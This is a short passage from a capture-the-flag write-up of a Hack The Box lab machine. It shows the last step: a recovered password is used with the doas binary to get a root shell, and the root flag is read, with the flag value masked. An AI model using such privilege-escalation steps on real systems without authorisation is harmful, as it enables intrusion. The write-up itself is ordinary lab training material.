http://translate.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/HTB/Easy/54.html
We managed to get the second webapi_user password, let's test if we can privesc to the root user with the doas binary we found earlier: luanne$ doas su
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
# cat /root/root.txt
7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it!